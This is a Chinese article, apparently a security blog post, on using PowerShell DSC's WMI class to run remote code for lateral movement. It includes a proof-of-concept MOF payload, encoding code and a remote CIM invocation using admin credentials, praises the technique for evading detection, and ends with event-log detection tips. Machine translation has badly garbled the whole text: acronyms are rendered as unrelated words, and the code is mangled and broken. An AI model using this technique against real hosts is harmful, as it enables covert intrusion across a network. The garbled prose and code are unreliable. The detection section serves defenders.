横向渗透技术简介PowerShell期望状态配置(DSC)允许需要执行的资源直接使用WMI,在DSC WMI类的帮助下,我们可以通过滥用内置脚本资源来实现PowerShell代码的远程执行。这样的横向渗透技术有如下几点好处:1 .PowerShell将在WMI服务-wmiprvse.exe环境下执行,从躲避检测的角度来说这是一个优势2 .有效载荷的每一个组件都跟WMI有关系3 .无需配置国防与航天中心服务。横向渗透技术要求1.资源测试方法必须在MSFT _ DSCLocalConfigurationManager这个WMI类中,该类需位于根/微软/视窗/设计状态配置命名空间中。注意以下内容以下内容:攻击者还可以选择调用资源获取或资源集方法PowerShell DSC是在PowerShell v4中引入的,所以这项技术并不适用于全部主机2 .默认情况下,如果你要远程调用WMI方法,你需要拥有管理员凭证WMI的安全是通过DCOM或WSMan安全设置来实现的,在建立远程连接时,WMI是通过目标命名空间的安全描述符实现的(根/微软/视窗/设计状态配置)。攻击PoC第一步就是准备有效载荷如何执行。你需要在目标主机上执行的PowerShell代码需要是财政部格式的,下面给出的是一份有效载荷样本:$ MofContents=@ ' MSFT _脚本资源实例为$ MSFT _脚本资源1ref{资源id='[脚本]脚本示例;获取脚本='\'$(获取日期):我正在获取\' |输出文件: \ \窗口\ \临时\ \脚本运行。txt-追加;返回$ True’;测试脚本='\'$(获取日期):我正在被测试\' |输出文件C: \ \窗口\ \临时\ \脚本运行。txt-追加;返回$ True’;设置脚本='\'$(获取日期):我正在设置\' |文件外: \ \窗口\ \临时\ \脚本运行。txt-追加;返回$ True’;源信息=' 336033603:33603360336053603360333366脚本;模块名=' PSdesiredStateCONFIGuration ';模块翻转=' 1.0 ';配置名='脚本测试;};OMI配置文档{版本=' 2。0 .0 }的实例;minimumCompatibLeversion=' 1。0 .0’;兼容性版本附加属性={ ' Omi _ BaseResource :配置名称' };作者="测试用户“;生成日期=' 02/26/201807336009336021 ';生成主机='测试主机;名称=' script TeSt };“@这里,唯一需要修改的就是动力外壳有效载荷。在我们的样例中,我们将调用资源测试方法,该方法会返回上面的"测试脚本"属性。需要注意的是,特殊字符需要转义处理。下一步就是把财政部转换成二进制形式,这种数据形式也是资源测试方法要求的:#如果您想在本地测试负载,请将其更改为假$ ExecuteMolly=$真$ normalizedMoments=[文本。编码]:UTF8 .[文本。编码]:ASCII .getBytes($ MofContents))$ NormalizedMofBytes=[文本。编码]:UTF8 .getBytes($ NormalizedMofContents)$ TotalSize=[比特转换器]:3360 GetBytes($NormalizedMofContents).长度4)如果($ ExecuteMorley){ #预设有效负载的长度[字节[]]$移动字节=$总大小$正常移动字节}否则{ #如果在本地执行,则不预设有效负载长度[字节[]]$移动字节=$标准化移动字节}在上述样例中,如果你想在本地测试你的有效载荷,请不要在字节数组中添加有效载荷长度有效载荷正确编码之后,剩下的就是在目标主机上执行有效载荷了。 #指定目标的凭据$凭据=获取-凭据-凭据临时用户$计算机名='目标主机#与目标系统建立远程WMI会话$远程会话=新建-CimSession-计算机名$计算机名-凭据$LCMClass=获取-CimClass-命名空间根/微软/视窗/desiredStateconfiguration-类名MSFT _ dsclocalConfigurationmanager-CimSession $远程会话如果($LCMClass-和$ LCMClass .CIMCLaSS方法“[”资源测试]) { #您现在可以继续稍后的移动$ methodArgs=@ { ModuleName=' PsdesiredStateConfiguration ' resource type=' MSFT _脚本资源'资源属性=$ MOFBytes } $参数=@ {命名空间='根/微软/视窗/desiredStateConfiguration ' CLaSS NAmE=' MSFT _ dsclocalConfiguration manager ' method NAmE=' resource Test '参数=$ methodArgs CIMSession=$ remote CIMSession } #调用国防与航天中心脚本资源测试方法#成功执行将由指示invoke-CIMmethod @ Arguments }否则“写警告”数字信号控制横向移动方法在远程系统上不可用}在上面的例子中,大家请注意,我首先验证了远程类和方法的优先级。在使用WMI技术时,我们建议大家首先验证远程类和方法的优先级。接下来,代码会将有效载荷下载到目标主机的磁盘中。如果你想要使用WMI来远程获取文件内容,你可以配合使用【这项技术】除此之外,我这里还使用了CIM cmdlet,这个功能是在PowerShell v3中引入的,如果你需要适用v2版本的话,你还可以使用旧版本的WMI·cmdlet。终端检测保护幸运的是,我们可以通过检查事件日志来发现这种攻击活动,并进行及时检测微软-视窗-Powershell/操作系统事件日志事件ID: 53504 "命名为管道仪表板组合仪表的动力外壳"事件表明PowerShell应用程序域已启用。当国防与航天中心执行脚本资源时,这个事件会自动捕捉DscPsPluginWkr_AppDomain。而AppDomain对于一次国防与航天中心执行来说是唯一的,下面是一个事件样例以下内容:在应用程序域中的进程: 6480上,Windows PowerShell已经启动了一个IPC侦听线程“视窗PowerShell”事件日志EventID: 400在正常的PowerShell日志中,事件身份证400表明一个新的PowerShell主机进程被创建。当国防与航天中心脚本资源执行时,它会生成一个唯一的事件日志条目,并对其进行签名。下面是一个样例(引擎状态从没有人转换成了可用):详细信息3360尤因格式塔=可用先前的发动机状态=非序列数=13主机名=默认主机主机版本=5。1 .17134 .81主机识别码=19 CFC 50 e-8894-4c D5-b0a 9-09 edd 7785 B7数据应用=c : \视窗\系统32 \ WBEM \ wmiprvse。exe引擎版本=5。1 .17134 .81 unspaceID=12 ebba 81-991事件日志EventID: 4102当一个国防与航天中心资源被发送至目标主机之后,系统会响应这个事件。如果目标主机存在于一个计算机域中,那么系统会返回执行这个国防与航天中心资源的用户SID以及源主机信息。下面是事件样本信息以下内容:作业{ 893 F64 B5-ABBF-11E 8-B005-d 336977413 FC } :操作调用-DscResource由用户SiD-1-5-21-3160353621-618008412-2361186285-1001从计算机空启动/p >
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!